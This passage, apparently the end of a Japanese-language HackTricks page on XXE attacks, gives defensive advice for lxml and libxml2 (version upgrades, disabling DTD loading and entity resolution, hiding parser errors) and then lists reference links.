* **lxml ≥ 5.4.0**にアップグレードし、基盤となる**libxml2**が**≥ 2.13.8**であることを確認してください。
* 必要不可欠でない限り、`load_dtd`および/または`resolve_entities`を無効にしてください。
* 生のパーサーエラーをクライアントに返さないようにしてください。
## 参考文献
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
@ -692,4 +752,7 @@ https://github.com/luisfontes19/xxexploiter
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
{{#include ../banners/hacktricks-training.md}}